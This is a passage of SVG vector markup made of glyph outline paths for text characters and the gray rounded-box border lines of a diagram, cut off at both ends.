-3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="s"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="t"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="u"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="w"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="x"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="y"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="z"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="A"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="B"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="C"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="D"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="F"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="G"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="H"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="I"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="J"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="K"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol><symbol overflow="visible" id="U"><path d="M 0 2.515625 L 6.015625 2.515625 L 6.015625 3.6875 L 0 3.6875 Z M 0 2.515625"/></symbol><symbol overflow="visible" id="V"><path d="M 5.875 -9 L 7.46875 -3.75 L 7.796875 -2.015625 L 7.828125 -2.015625 L 8.09375 -3.78125 L 9.328125 -9 L 10.546875 -9 L 8.15625 0.203125 L 7.421875 0.203125 L 5.59375 -5.703125 L 5.34375 -7.21875 L 5.3125 -7.21875 L 5.0625 -5.6875 L 3.296875 0.203125 L 2.5625 0.203125 L 0.09375 -9 L 1.46875 -9 L 2.859375 -3.765625 L 3.078125 -2.015625 L 3.109375 -2.015625 L 3.4375 -3.796875 L 4.90625 -9 Z M 5.875 -9"/></symbol><symbol overflow="visible" id="W"><path d="M 7.21875 0 L 1.15625 0 L 1.15625 -12.59375 L 2.5 -12.59375 L 2.5 -1.234375 L 7.21875 -1.234375 Z M 7.21875 0"/></symbol><symbol overflow="visible" id="X"><path d="M 1.6875 -1.203125 L 3.71875 -1.203125 L 3.71875 -9.96875 L 3.890625 -11.03125 L 3.28125 -10.171875 L 1.765625 -8.953125 L 1.078125 -9.75 L 4.359375 -12.8125 L 5.015625 -12.8125 L 5.015625 -1.203125 L 6.984375 -1.203125 L 6.984375 0 L 1.6875 0 Z M 1.6875 -1.203125"/></symbol><symbol overflow="visible" id="Y"><path d="M 5.671875 0 L 5.671875 -5.46875 C 5.671875 -6.3125 5.570312 -6.953125 5.375 -7.390625 C 5.175781 -7.828125 4.78125 -8.046875 4.1875 -8.046875 C 3.769531 -8.046875 3.390625 -7.894531 3.046875 -7.59375 C 2.703125 -7.289062 2.472656 -6.914062 2.359375 -6.46875 L 2.359375 0 L 1.0625 0 L 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.15625 L 2.40625 -8.15625 C 2.644531 -8.46875 2.941406 -8.722656 3.296875 -8.921875 C 3.648438 -9.117188 4.09375 -9.21875 4.625 -9.21875 C 5.019531 -9.21875 5.363281 -9.160156 5.65625 -9.046875 C 5.957031 -8.941406 6.203125 -8.753906 6.390625 -8.484375 C 6.578125 -8.222656 6.71875 -7.875 6.8125 -7.4375 C 6.914062 -7 6.96875 -6.457031 6.96875 -5.8125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.578125 -1.171875 L 3.921875 -7.0625 L 4.546875 -7.828125 L 0.578125 -7.828125 L 0.578125 -9 L 5.828125 -9 L 5.828125 -7.828125 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.828125 -1.171875 L 5.828125 0 L 0.578125 0 Z M 0.578125 -1.171875"/></symbol><symbol overflow="visible" id="aa"><path d="M 7.734375 -0.484375 C 7.441406 -0.234375 7.066406 -0.0546875 6.609375 0.046875 C 6.148438 0.160156 5.671875 0.21875 5.171875 0.21875 C 4.535156 0.21875 3.945312 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.800781 1.3125 -2.472656 1.09375 -3.296875 C 0.882812 -4.128906 0.78125 -5.128906 0.78125 -6.296875 C 0.78125 -7.492188 0.898438 -8.503906 1.140625 -9.328125 C 1.390625 -10.160156 1.71875 -10.832031 2.125 -11.34375 C 2.53125 -11.863281 3 -12.238281 3.53125 -12.46875 C 4.070312 -12.695312 4.625 -12.8125 5.1875 -12.8125 C 5.757812 -12.8125 6.234375 -12.769531 6.609375 -12.6875 C 6.992188 -12.601562 7.320312 -12.503906 7.59375 -12.390625 L 7.265625 -11.15625 C 7.023438 -11.289062 6.742188 -11.394531 6.421875 -11.46875 C 6.097656 -11.539062 5.726562 -11.578125 5.3125 -11.578125 C 4.894531 -11.578125 4.5 -11.484375 4.125 -11.296875 C 3.75 -11.109375 3.414062 -10.804688 3.125 -10.390625 C 2.84375 -9.984375 2.617188 -9.441406 2.453125 -8.765625 C 2.285156 -8.097656 2.203125 -7.273438 2.203125 -6.296875 C 2.203125 -4.546875 2.5 -3.226562 3.09375 -2.34375 C 3.695312 -1.46875 4.492188 -1.03125 5.484375 -1.03125 C 5.898438 -1.03125 6.269531 -1.085938 6.59375 -1.203125 C 6.914062 -1.316406 7.191406 -1.453125 7.421875 -1.609375 Z M 7.734375 -0.484375"/></symbol></defs><path fill="#fff" d="M0 0H722V514H0z"/><path d="M 24.2362 40.852794 L 60.101239 40.852794 L 60.101239 66.190294 L 24.2362 66.190294 Z M 24.2362 40.852794" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 62.446153 L 57.100262 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 26.643622 44.584239 C 26.477997 44.584239 26.343622 44.718419 26.343622 44.884239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 44.884239 C 57.400262 44.718419 57.266083 44.584239 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 44.884239 L 26.343622 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 62.146153 L 26.343622 62.146153 C 26.343622 62.311778 26.477997 62.446153 26.643622 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.100262 62.446153 L 57.100262 62.446153 C 57.266083 62.446153 57.400262 62.311778 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 